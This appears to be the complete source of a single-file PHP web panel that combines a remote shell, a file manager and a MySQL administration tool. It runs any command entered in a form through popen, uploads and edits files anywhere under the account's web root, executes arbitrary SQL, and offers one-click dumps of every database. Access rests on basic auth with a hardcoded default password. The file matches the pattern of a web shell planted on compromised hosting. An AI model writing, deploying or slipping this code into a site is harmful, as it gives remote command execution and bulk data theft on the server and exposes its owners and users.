<?php
// panel.php — shell + file manager + mysql admin
declare(strict_types=1);
session_start();

$PANEL_USER = 'admin';
$PANEL_PASS = 'change-me-now';

if (($_SERVER['PHP_AUTH_USER'] ?? '') !== $PANEL_USER || ($_SERVER['PHP_AUTH_PW'] ?? '') !== $PANEL_PASS) {
    header('WWW-Authenticate: Basic realm="panel"');
    header('HTTP/1.0 401 Unauthorized');
    exit('Auth required');
}

/* ROOT auto-detect */
$ROOT = __DIR__;
$home = $_SERVER['HOME'] ?? ('/home/' . (function_exists('posix_getpwuid') ? (posix_getpwuid(posix_geteuid())['name'] ?? '') : ''));
foreach ([$home . '/public_html', $home] as $candidate) {
    if ($candidate !== '/' && is_dir($candidate) && str_starts_with(__DIR__, $candidate)) { $ROOT = $candidate; break; }
}
$MAX_EDIT_BYTES = 2 * 1024 * 1024;

function h($s): string { return htmlspecialchars((string)$s, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); }
function qi(string $i): string { return '`' . str_replace('`', '``', $i) . '`'; }

function safePath(string $root, string $rel): ?string {
    $rel = str_replace('\\', '/', $rel);
    $rel = ltrim($rel, '/');
    if (str_contains($rel, "\0")) return null;
    $full = realpath($root . '/' . $rel);
    if ($full === false) {
        $parent = realpath($root . '/' . dirname($rel));
        if ($parent === false || !str_starts_with($parent, $root)) return null;
        return $parent . '/' . basename($rel);
    }
    return str_starts_with($full, $root) ? $full : null;
}
function relPath(string $root, string $full): string {
    $rel = ltrim(substr($full, strlen($root)), '/');
    return $rel === '' ? '.' : $rel;
}
function db(): ?PDO {
    if (empty($_SESSION['db_conn'])) return null;
    [$host, $port, $user, $pass] = $_SESSION['db_conn'];
    try {
        return new PDO("mysql:host=$host;port=$port;charset=utf8mb4", $user, $pass, [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
        ]);
    } catch (Throwable $e) { return null; }
}

/* current dir — session based */
if (!isset($_SESSION['cwd'])) $_SESSION['cwd'] = '.';
if (array_key_exists('nav', $_POST)) $_SESSION['cwd'] = (string)$_POST['nav'];

$fmDir   = (string)$_SESSION['cwd'];
$dirPath = safePath($ROOT, $fmDir);
if ($dirPath === null || !is_dir($dirPath)) { $dirPath = $ROOT; $fmDir = '.'; $_SESSION['cwd'] = '.'; }

$fmMsg = ''; $editFile = null; $editBody = ''; $cmdOut = ''; $cmdIn = '';

/* shell */
if (($_POST['do'] ?? '') === 'cmd') {
    $cmdIn = trim((string)($_POST['cmd'] ?? ''));
    if ($cmdIn !== '') {
        $full = 'cd ' . escapeshellarg($dirPath) . ' && ' . $cmdIn . ' 2>&1';
        $h = popen($full, 'r');
        if ($h) { while (!feof($h)) $cmdOut .= fgets($h); pclose($h); }
        else    { $cmdOut = "popen failed\n"; }
    }
}
/* upload */
if (($_POST['do'] ?? '') === 'upload' && isset($_FILES['f'])) {
    $name = basename((string)$_FILES['f']['name']);
    $dest = $dirPath . '/' . $name;
    if (!str_starts_with($dest, $ROOT)) { $fmMsg = "Refused: outside root"; }
    elseif ($_FILES['f']['error'] === UPLOAD_ERR_OK && move_uploaded_file($_FILES['f']['tmp_name'], $dest)) {
        $fmMsg = "Uploaded: $name (" . number_format((int)filesize($dest)) . " bytes)";
    } else { $fmMsg = "Upload failed (code " . (int)$_FILES['f']['error'] . ")"; }
}
/* delete */
if (isset($_GET['del'])) {
    $p = safePath($ROOT, $fmDir . '/' . basename((string)$_GET['del']));
    if ($p && $p !== __FILE__) { is_dir($p) ? @rmdir($p) : @unlink($p); $fmMsg = "Deleted: " . basename($p); }
}
/* mkdir */
if (($_POST['do'] ?? '') === 'mkdir' && ($_POST['name'] ?? '') !== '') {
    $name = trim((string)$_POST['name']);
    if (strpbrk($name, "/\\\0") === false) { $fmMsg = @mkdir($dirPath . '/' . $name) ? "Created folder: $name" : "mkdir failed"; }
    else { $fmMsg = "Invalid folder name"; }
}
/* mkfile */
if (($_POST['do'] ?? '') === 'mkfile' && ($_POST['name'] ?? '') !== '') {
    $name = trim((string)$_POST['name']);
    if (strpbrk($name, "/\\\0") === false) {
        $p = $dirPath . '/' . $name;
        $fmMsg = (!file_exists($p) && @file_put_contents($p, '') !== false) ? "Created: $name" : "Create failed or file exists";
    } else { $fmMsg = "Invalid file name"; }
}
/* rename */
if (($_POST['do'] ?? '') === 'rename' && ($_POST['from'] ?? '') !== '' && ($_POST['to'] ?? '') !== '') {
    $from = safePath($ROOT, $fmDir . '/' . basename((string)$_POST['from']));
    $toName = trim((string)$_POST['to']);
    if ($from && strpbrk($toName, "/\\\0") === false) {
        $to = dirname($from) . '/' . $toName;
        $fmMsg = (str_starts_with($to, $ROOT) && @rename($from, $to)) ? "Renamed → $toName" : "Rename failed";
    } else { $fmMsg = "Invalid rename"; }
}
/* save */
if (($_POST['do'] ?? '') === 'save' && ($_POST['file'] ?? '') !== '') {
    $p = safePath($ROOT, $fmDir . '/' . basename((string)$_POST['file']));
    if ($p && is_file($p)) {
        $fmMsg = @file_put_contents($p, (string)($_POST['content'] ?? '')) !== false ? "Saved: " . basename($p) : "Save failed";
    }
}
/* download */
if (isset($_GET['dl'])) {
    $p = safePath($ROOT, $fmDir . '/' . basename((string)$_GET['dl']));
    if ($p && is_file($p)) {
        while (ob_get_level()) ob_end_clean();
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($p) . '"');
        header('Content-Length: ' . filesize($p));
        readfile($p);
        exit;
    }
}
/* edit */
if (isset($_GET['edit'])) {
    $p = safePath($ROOT, $fmDir . '/' . basename((string)$_GET['edit']));
    if ($p && is_file($p)) {
        if (filesize($p) > $MAX_EDIT_BYTES) { $fmMsg = "File too big to edit. Use download."; }
        else { $editFile = $p; $editBody = (string)file_get_contents($p); }
    }
}

/* ============ DB ============ */
$action  = $_GET['action'] ?? $_POST['action'] ?? '';
$dbView  = $_GET['dview']  ?? $_POST['dview']  ?? 'dbs';
$dbName  = $_GET['db']     ?? $_POST['db']     ?? '';
$table   = $_GET['table']  ?? $_POST['table']  ?? '';
$page    = max(1, (int)($_GET['page'] ?? 1));

if (($_POST['do'] ?? '') === 'db_login') {
    $host = trim((string)($_POST['host'] ?? 'localhost'));
    $port = (int)($_POST['port'] ?? 3306) ?: 3306;
    $user = (string)($_POST['user'] ?? '');
    $pass = (string)($_POST['pass'] ?? '');
    try {
        new PDO("mysql:host=$host;port=$port;charset=utf8mb4", $user, $pass, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
        $_SESSION['db_conn'] = [$host, $port, $user, $pass];
        header('Location: ?tab=db&dview=dbs'); exit;
    } catch (Throwable $e) { $dbError = $e->getMessage(); }
}
if ($action === 'db_logout') { unset($_SESSION['db_conn']); header('Location: ?tab=db'); exit; }

if ($action === 'dump' && $dbName !== '') {
    $pdo = db();
    if (!$pdo) { http_response_code(500); exit('no connection'); }
    while (ob_get_level()) ob_end_clean();
    header('Content-Type: application/sql; charset=utf-8');
    header('Content-Disposition: attachment; filename="' . preg_replace('/[^A-Za-z0-9_.-]/', '_', $dbName) . '-' . date('Ymd-His') . '.sql"');
    streamDb($pdo, $dbName); exit;
}
if ($action === 'dumpall') {
    $pdo = db();
    if (!$pdo) { http_response_code(500); exit('no connection'); }
    while (ob_get_level()) ob_end_clean();
    header('Content-Type: application/sql; charset=utf-8');
    header('Content-Disposition: attachment; filename="all-databases-' . date('Ymd-His') . '.sql"');
    $skip = ['information_schema','performance_schema','mysql','sys'];
    foreach ($pdo->query('SHOW DATABASES')->fetchAll(PDO::FETCH_COLUMN) as $d) {
        if (in_array($d, $skip, true)) continue;
        streamDb($pdo, $d);
    }
    exit;
}
function streamDb(PDO $pdo, string $db): void {
    echo "-- Database: $db\n-- Generated: " . date('c') . "\n\n";
    echo "SET NAMES utf8mb4;\nSET FOREIGN_KEY_CHECKS=0;\n";
    echo "CREATE DATABASE IF NOT EXISTS " . qi($db) . " DEFAULT CHARACTER SET utf8mb4;\nUSE " . qi($db) . ";\n\n";
    foreach ($pdo->query('SHOW FULL TABLES FROM ' . qi($db))->fetchAll(PDO::FETCH_NUM) as $t) {
        [$name, $type] = $t;
        if ($type === 'VIEW') {
            $row = $pdo->query('SHOW CREATE VIEW ' . qi($db) . '.' . qi($name))->fetch(PDO::FETCH_NUM);
            echo "DROP VIEW IF EXISTS " . qi($name) . ";\n" . ($row[1] ?? '') . ";\n\n";
            continue;
        }
        $create = $pdo->query('SHOW CREATE TABLE ' . qi($db) . '.' . qi($name))->fetch(PDO::FETCH_NUM);
        echo "DROP TABLE IF EXISTS " . qi($name) . ";\n" . ($create[1] ?? '') . ";\n\n";
        $stmt = $pdo->query('SELECT * FROM ' . qi($db) . '.' . qi($name));
        while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
            $cols = implode(',', array_map(fn($c) => qi($c), array_keys($row)));
            $vals = implode(',', array_map(function ($v) use ($pdo) {
                if ($v === null) return 'NULL';
                if (is_int($v) || is_float($v)) return (string)$v;
                return $pdo->quote((string)$v);
            }, array_values($row)));
            echo "INSERT INTO " . qi($name) . " ($cols) VALUES ($vals);\n";
        }
        echo "\n"; flush();
    }
    echo "SET FOREIGN_KEY_CHECKS=1;\n\n";
}

$pdo = db();
$databases = []; $dbTables = []; $dbBody = ''; $dbErr = '';
if ($pdo) {
    try { $databases = $pdo->query('SHOW DATABASES')->fetchAll(PDO::FETCH_COLUMN); } catch (Throwable $e) {}
    if ($dbName !== '' && in_array($dbName, $databases, true)) {
        try { $dbTables = $pdo->query('SHOW FULL TABLES FROM ' . qi($dbName))->fetchAll(PDO::FETCH_NUM); } catch (Throwable $e) {}
    }
    try {
        if ($dbView === 'tables' && $dbName !== '') {
            $dbBody = '<h3>Tables in ' . h($dbName) . '</h3><table><tr><th>Name</th><th>Type</th><th>Rows</th><th></th></tr>';
            foreach ($dbTables as $t) {
                $cnt = $pdo->query('SELECT COUNT(*) FROM ' . qi($dbName) . '.' . qi($t[0]))->fetchColumn();
                $dbBody .= '<tr><td>' . h($t[0]) . '</td><td>' . h($t[1]) . '</td><td>' . h((string)$cnt) . '</td>'
                         . '<td><a href="?tab=db&dview=browse&db=' . urlencode($dbName) . '&table=' . urlencode($t[0]) . '">browse</a> '
                         . '<a href="?tab=db&dview=structure&db=' . urlencode($dbName) . '&table=' . urlencode($t[0]) . '">struct</a></td></tr>';
            }
            $dbBody .= '</table>';
        }
        elseif ($dbView === 'browse' && $dbName !== '' && $table !== '') {
            $per = 100; $off = ($page - 1) * $per;
            $rows = $pdo->query('SELECT * FROM ' . qi($dbName) . '.' . qi($table) . " LIMIT $per OFFSET $off")->fetchAll();
            $dbBody = '<h3>' . h($dbName) . '.' . h($table) . ' — page ' . $page . '</h3>';
            if ($rows) {
                $dbBody .= '<div class="scroll"><table><tr>';
                foreach (array_keys($rows[0]) as $c) $dbBody .= '<th>' . h($c) . '</th>';
                $dbBody .= '</tr>';
                foreach ($rows as $r) {
                    $dbBody .= '<tr>';
                    foreach ($r as $v) $dbBody .= '<td>' . h($v === null ? 'NULL' : (string)$v) . '</td>';
                    $dbBody .= '</tr>';
                }
                $dbBody .= '</table></div>';
            } else { $dbBody .= '<p class="mut">No rows.</p>'; }
            $dbBody .= '<p><a href="?tab=db&dview=browse&db=' . urlencode($dbName) . '&table=' . urlencode($table) . '&page=' . ($page - 1) . '">&laquo; prev</a> '
                     . '<a href="?tab=db&dview=browse&db=' . urlencode($dbName) . '&table=' . urlencode($table) . '&page=' . ($page + 1) . '">next &raquo;</a></p>';
        }
        elseif ($dbView === 'structure' && $dbName !== '' && $table !== '') {
            $cols = $pdo->query('DESCRIBE ' . qi($dbName) . '.' . qi($table))->fetchAll();
            $dbBody = '<h3>Structure: ' . h($table) . '</h3><table><tr><th>Field</th><th>Type</th><th>Null</th><th>Key</th><th>Default</th><th>Extra</th></tr>';
            foreach ($cols as $c) {
                $dbBody .= '<tr>';
                foreach (['Field','Type','Null','Key','Default','Extra'] as $k) $dbBody .= '<td>' . h((string)$c[$k]) . '</td>';
                $dbBody .= '</tr>';
            }
            $dbBody .= '</table>';
            $create = $pdo->query('SHOW CREATE TABLE ' . qi($dbName) . '.' . qi($table))->fetch(PDO::FETCH_NUM);
            $dbBody .= '<h3>CREATE</h3><pre>' . h($create[1] ?? '') . '</pre>';
        }
        elseif ($dbView === 'sql') {
            $q = (string)($_POST['q'] ?? '');
            $dbBody = '<form method="post"><input type="hidden" name="tab" value="db"><input type="hidden" name="dview" value="sql">'
                    . ($dbName !== '' ? '<input type="hidden" name="db" value="' . h($dbName) . '">' : '')
                    . '<textarea name="q" rows="5" placeholder="SELECT * FROM ...">' . h($q) . '</textarea>'
                    . '<button class="primary">Run</button></form>';
            if ($q !== '') {
                if ($dbName !== '') $pdo->exec('USE ' . qi($dbName));
                $stmt = $pdo->query($q);
                if ($stmt) {
                    $rows = $stmt->fetchAll();
                    if ($rows) {
                        $dbBody .= '<div class="scroll"><table><tr>';
                        foreach (array_keys($rows[0]) as $c) $dbBody .= '<th>' . h($c) . '</th>';
                        $dbBody .= '</tr>';
                        foreach ($rows as $r) {
                            $dbBody .= '<tr>';
                            foreach ($r as $v) $dbBody .= '<td>' . h($v === null ? 'NULL' : (string)$v) . '</td>';
                            $dbBody .= '</tr>';
                        }
                        $dbBody .= '</table></div>';
                    } else { $dbBody .= '<p class="mut">Query OK. Rows affected: ' . $stmt->rowCount() . '</p>'; }
                }
            }
        }
        elseif ($dbView === 'dbs' || $dbName === '') {
            $dbBody = '<table><tr><th>Database</th><th></th></tr>';
            foreach ($databases as $d) {
                $dbBody .= '<tr><td><a href="?tab=db&dview=tables&db=' . urlencode($d) . '">' . h($d) . '</a></td>'
                         . '<td><a href="?tab=db&action=dump&db=' . urlencode($d) . '">dump</a></td></tr>';
            }
            $dbBody .= '</table><p><a class="btn" href="?tab=db&action=dumpall">⬇ Dump all databases</a></p>';
        }
    } catch (Throwable $e) { $dbErr = $e->getMessage(); }
}

$tab = $_GET['tab'] ?? 'files';
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>panel</title>
<style>
  *{box-sizing:border-box}
  body{margin:0;font:13px/1.5 ui-monospace,Menlo,Consolas,monospace;background:#0d1117;color:#c9d1d9}
  nav{background:#161b22;border-bottom:1px solid #30363d;padding:10px 16px;display:flex;gap:12px;align-items:center}
  nav b{color:#58a6ff;margin-right:12px}
  nav a{color:#c9d1d9;text-decoration:none;padding:5px 10px;border-radius:5px;font-size:12px}
  nav a:hover{background:#21262d}
  nav a.active{background:#1f6feb;color:#fff}
  main{padding:18px;max-width:1150px;margin:auto}
  h2{font-size:15px;margin:0 0 12px;color:#58a6ff}
  h3{font-size:13px;margin:18px 0 8px;color:#8b949e}
  form{margin-bottom:10px}
  .panel{background:#161b22;border:1px solid #30363d;border-radius:8px;padding:14px;margin-bottom:18px}
  .row{display:flex;gap:8px;align-items:center;flex-wrap:wrap}
  input[type=text],input[type=password]{padding:8px 11px;background:#0d1117;color:#c9d1d9;border:1px solid #30363d;border-radius:6px;font:inherit}
  input[type=text]{flex:1;min-width:120px}
  input:focus,textarea:focus{outline:none;border-color:#58a6ff}
  input[type=file]{color:#c9d1d9;padding:6px 0}
  textarea{width:100%;background:#0d1117;color:#c9d1d9;border:1px solid #30363d;border-radius:6px;padding:10px;font:inherit;box-sizing:border-box;min-height:50vh;white-space:pre;overflow:auto}
  button{padding:8px 14px;background:#21262d;color:#c9d1d9;border:1px solid #30363d;border-radius:6px;cursor:pointer;font:inherit}
  button:hover{background:#30363d}
  .primary{background:#238636;color:#fff;border-color:#2ea043}
  .primary:hover{background:#2ea043}
  pre{background:#0d1117;border:1px solid #30363d;border-radius:6px;padding:12px;white-space:pre-wrap;word-break:break-word;max-height:40vh;overflow:auto;margin:0}
  .msg{color:#3fb950;margin-bottom:10px}
  .err{color:#f85149;margin-bottom:10px;white-space:pre-wrap}
  table{border-collapse:collapse;width:100%;font-size:12px}
  th,td{border:1px solid #30363d;padding:6px 10px;text-align:left;vertical-align:top}
  th{background:#161b22;color:#8b949e;font-weight:500}
  tr:nth-child(even) td{background:#11161d}
  a{color:#58a6ff;text-decoration:none}
  a:hover{text-decoration:underline}
  .del{color:#f85149}
  .mut{color:#8b949e;font-size:12px}
  .scroll{max-height:60vh;overflow:auto;border:1px solid #30363d;border-radius:6px}
  .grid{display:grid;grid-template-columns:1fr 1fr;gap:16px}
  .actions a{display:inline-block;margin-right:8px}
  @media(max-width:800px){.grid{grid-template-columns:1fr}}

  /* pwd bar — every segment looks and acts like a link */
  .pwdbar{
    background:#161b22;border:1px solid #30363d;border-radius:8px;
    padding:10px 14px;margin-bottom:10px;
    font-size:13px;line-height:2.2;
    word-break:break-all;
  }
  .pwdbar .plabel{color:#8b949e;margin-right:8px}
  .pwdbar .pslash{color:#484f58;padding:0 2px}
  .pwdbar .praw{color:#6e7681;font-size:11px;margin-left:10px}
  .pwdbar .pcopy{
    margin-left:8px;
    background:#21262d;border:1px solid #30363d;border-radius:5px;
    color:#8b949e;padding:2px 10px;font:inherit;font-size:11px;
    cursor:pointer;
  }
  .pwdbar .pcopy:hover{background:#30363d;color:#c9d1d9}

  .navform{display:inline;margin:0;padding:0}
  button.navlink{
    background:transparent;border:1px solid transparent;color:#58a6ff;
    padding:2px 8px;margin:0;cursor:pointer;
    font:inherit;font-size:13px;text-decoration:none;
    border-radius:4px;
  }
  button.navlink:hover{background:#1f6feb;color:#fff;text-decoration:none}
  button.navlink.current{color:#58a6ff;font-weight:600}
  button.navlink.current:hover{background:#1f6feb;color:#fff}

  button.dirname{background:transparent;border:0;color:#58a6ff;padding:0;margin:0;cursor:pointer;font:inherit;font-size:inherit;text-align:left}
  button.dirname:hover{text-decoration:underline}
</style>
</head>
<body>

<nav>
  <b>panel</b>
  <a href="?tab=files" class="<?= $tab==='files'?'active':'' ?>">Files</a>
  <a href="?tab=db"    class="<?= $tab==='db'?'active':'' ?>">MySQL</a>
</nav>
<main>

<?php if ($tab === 'files'): ?>
  <h2>File Manager</h2>

  <?php if ($fmMsg): ?><div class="msg <?= (str_contains($fmMsg, 'fail') || str_contains($fmMsg, 'Refused') || str_contains($fmMsg, 'Invalid')) ? 'err' : '' ?>"><?= h($fmMsg) ?></div><?php endif; ?>

  <?php
  // ---------- breadcrumb: EVERY segment is clickable ----------
  $rel   = relPath($ROOT, $dirPath);
  $parts = $rel === '.' ? [] : explode('/', $rel);
  ?>
  <div class="pwdbar">
    <span class="plabel">pwd:</span>

    <form method="post" class="navform">
      <input type="hidden" name="tab" value="files">
      <input type="hidden" name="nav" value=".">
      <button type="submit" class="navlink<?= $rel === '.' ? ' current' : '' ?>"><?= h(basename($ROOT) ?: '/') ?></button>
    </form>

    <?php
    $acc = '';
    foreach ($parts as $i => $p):
        $acc = $acc === '' ? $p : $acc . '/' . $p;
        $isLast = ($i === count($parts) - 1);
    ?>
      <span class="pslash">/</span>
      <form method="post" class="navform">
        <input type="hidden" name="tab" value="files">
        <input type="hidden" name="nav" value="<?= h($acc) ?>">
        <button type="submit" class="navlink<?= $isLast ? ' current' : '' ?>"><?= h($p) ?></button>
      </form>
    <?php endforeach; ?>

    <span class="praw">(<?= h($dirPath) ?>)</span>
    <button type="button" class="pcopy" onclick="copyPwd()">copy path</button>
  </div>

  <form method="post" class="panel" style="padding:10px 14px">
    <input type="hidden" name="tab" value="files">
    <div class="row">
      <input type="text" name="nav" placeholder="go to path — e.g. wp-content/plugins  (absolute also works)"
             value="<?= h($rel === '.' ? '' : $rel) ?>">
      <button class="primary">Go</button>
    </div>
  </form>

  <script>
  function copyPwd() {
    var p = <?= json_encode($dirPath) ?>;
    if (navigator.clipboard) {
      navigator.clipboard.writeText(p).then(function () {
        var b = document.querySelector('.pwdbar .pcopy');
        var t = b.textContent; b.textContent = 'copied!';
        setTimeout(function () { b.textContent = t; }, 1200);
      });
    } else { prompt('Copy this path:', p); }
  }
  </script>

  <div class="panel">
    <form method="post" class="row" style="margin-bottom:8px" autocomplete="off">
      <input type="hidden" name="tab" value="files">
      <input type="hidden" name="do" value="cmd">
      <input type="text" name="cmd" placeholder="shell command (runs in current directory)" value="<?= h($cmdIn) ?>" autofocus>
      <button class="primary">Run</button>
    </form>
    <?php if ($cmdIn !== ''): ?><pre style="margin-bottom:10px"><?= h($cmdOut) ?></pre><?php endif; ?>

    <form method="post" enctype="multipart/form-data" class="row" style="margin-bottom:8px">
      <input type="hidden" name="tab" value="files">
      <input type="hidden" name="do" value="upload">
      <input type="file" name="f" required>
      <button class="primary">Upload</button>
    </form>

    <form method="post" class="row" style="margin-bottom:8px">
      <input type="hidden" name="tab" value="files">
      <input type="hidden" name="do" value="mkdir">
      <input type="text" name="name" placeholder="new folder name">
      <button>+ Folder</button>
    </form>

    <form method="post" class="row">
      <input type="hidden" name="tab" value="files">
      <input type="hidden" name="do" value="mkfile">
      <input type="text" name="name" placeholder="new file name">
      <button>+ File</button>
    </form>
  </div>

  <?php if ($editFile !== null): ?>
    <div class="panel">
      <h3 style="margin-top:0">Editing: <?= h(relPath($ROOT, $editFile)) ?></h3>
      <form method="post">
        <input type="hidden" name="tab" value="files">
        <input type="hidden" name="do" value="save">
        <input type="hidden" name="file" value="<?= h(basename($editFile)) ?>">
        <textarea name="content" spellcheck="false"><?= h($editBody) ?></textarea>
        <p>
          <button class="primary">Save</button>
          <button type="submit" name="nav" value="<?= h(relPath($ROOT, $dirPath)) ?>" style="margin-left:8px">cancel</button>
        </p>
      </form>
    </div>
  <?php endif; ?>

  <table>
    <tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Actions</th></tr>

    <?php if (relPath($ROOT, $dirPath) !== '.'): ?>
      <tr>
        <td colspan="5">
          <form method="post" class="navform">
            <input type="hidden" name="tab" value="files">
            <input type="hidden" name="nav" value="<?= h(dirname(relPath($ROOT, $dirPath))) ?>">
            <button type="submit" class="navlink">⬆ ..</button>
          </form>
        </td>
      </tr>
    <?php endif; ?>

    <?php
    $items = @scandir($dirPath) ?: [];
    usort($items, function ($a, $b) use ($dirPath) {
        if ($a === '.' || $a === '..') return -1;
        if ($b === '.' || $b === '..') return 1;
        $da = is_dir($dirPath . '/' . $a); $db_ = is_dir($dirPath . '/' . $b);
        if ($da !== $db_) return $da ? -1 : 1;
        return strcasecmp($a, $b);
    });
    foreach ($items as $f):
        if ($f === '.' || $f === '..') continue;
        $p = $dirPath . '/' . $f;
        $isDir = is_dir($p);
        $relFull = relPath($ROOT, $p);
    ?>
      <tr>
        <td>
          <?php if ($isDir): ?>
            📁
            <form method="post" class="navform">
              <input type="hidden" name="tab" value="files">
              <input type="hidden" name="nav" value="<?= h($relFull) ?>">
              <button type="submit" class="dirname"><?= h($f) ?></button>
            </form>
          <?php else: ?>
            📄 <?= h($f) ?>
          <?php endif; ?>
        </td>
        <td><?= $isDir ? '—' : number_format((int)filesize($p)) ?></td>
        <td><?= date('Y-m-d H:i', (int)filemtime($p)) ?></td>
        <td><?= h(substr(sprintf('%o', fileperms($p)), -4)) ?></td>
        <td class="actions">
          <?php if (!$isDir): ?>
            <a href="?tab=files&edit=<?= urlencode($f) ?>">edit</a>
            <a href="?tab=files&dl=<?= urlencode($f) ?>">download</a>
          <?php endif; ?>
          <a href="#" onclick="renamePrompt('<?= h(addslashes($f)) ?>');return false;">rename</a>
          <?php if ($p !== __FILE__): ?>
            <a class="del" href="?tab=files&del=<?= urlencode($f) ?>" onclick="return confirm('Delete <?= h($f) ?>?')">delete</a>
          <?php endif; ?>
        </td>
      </tr>
    <?php endforeach; ?>
  </table>

  <form method="post" id="renameForm" style="display:none">
    <input type="hidden" name="tab" value="files">
    <input type="hidden" name="do" value="rename">
    <input type="hidden" name="from" id="rfFrom">
    <input type="hidden" name="to" id="rfTo">
  </form>
  <script>
    function renamePrompt(oldName) {
      var n = prompt('Rename "' + oldName + '" to:', oldName);
      if (!n || n === oldName) return;
      document.getElementById('rfFrom').value = oldName;
      document.getElementById('rfTo').value   = n;
      document.getElementById('renameForm').submit();
    }
  </script>
<?php endif; ?>

<?php if ($tab === 'db'): ?>
  <?php if (!$pdo): ?>
    <h2>MySQL Login</h2>
    <div class="panel">
      <form method="post">
        <input type="hidden" name="tab" value="db">
        <input type="hidden" name="do" value="db_login">
        <div class="grid">
          <div><label class="mut">Host</label><input type="text" name="host" value="<?= h($_POST['host'] ?? 'localhost') ?>"></div>
          <div><label class="mut">Port</label><input type="text" name="port" value="<?= h($_POST['port'] ?? '3306') ?>"></div>
          <div><label class="mut">User</label><input type="text" name="user" value="<?= h($_POST['user'] ?? '') ?>"></div>
          <div><label class="mut">Password</label><input type="password" name="pass"></div>
        </div>
        <p><button class="primary">Connect</button></p>
        <?php if (!empty($dbError)): ?><div class="err"><?= h($dbError) ?></div><?php endif; ?>
      </form>
    </div>
  <?php else: ?>
    <p class="mut">
      Connected to <?= h($_SESSION['db_conn'][0]) ?>:<?= h((string)$_SESSION['db_conn'][1]) ?> as <?= h($_SESSION['db_conn'][2]) ?>
      · <a href="?tab=db&dview=sql<?= $dbName ? '&db=' . urlencode($dbName) : '' ?>">SQL</a>
      · <a href="?tab=db&action=dumpall">Dump all</a>
      · <a href="?tab=db&action=db_logout" class="del">Disconnect</a>
    </p>

    <?php if ($dbErr): ?><div class="err"><?= h($dbErr) ?></div><?php endif; ?>

    <div class="panel">
      <h3 style="margin-top:0">Databases</h3>
      <?php foreach ($databases as $d): ?>
        <a href="?tab=db&dview=tables&db=<?= urlencode($d) ?>" style="<?= $d === $dbName ? 'font-weight:bold' : '' ?>"><?= h($d) ?></a>
        <a class="mut" href="?tab=db&action=dump&db=<?= urlencode($d) ?>">[dump]</a>
        &nbsp;
      <?php endforeach; ?>
    </div>

    <?php if ($dbName): ?>
      <p class="mut">
        db: <b><?= h($dbName) ?></b>
        <?php if ($table): ?> · table: <b><?= h($table) ?></b><?php endif; ?>
        · <a href="?tab=db&action=dump&db=<?= urlencode($dbName) ?>">dump this database</a>
      </p>
    <?php endif; ?>

    <?= $dbBody ?>
  <?php endif; ?>
<?php endif; ?>

</main>
</body>
</html>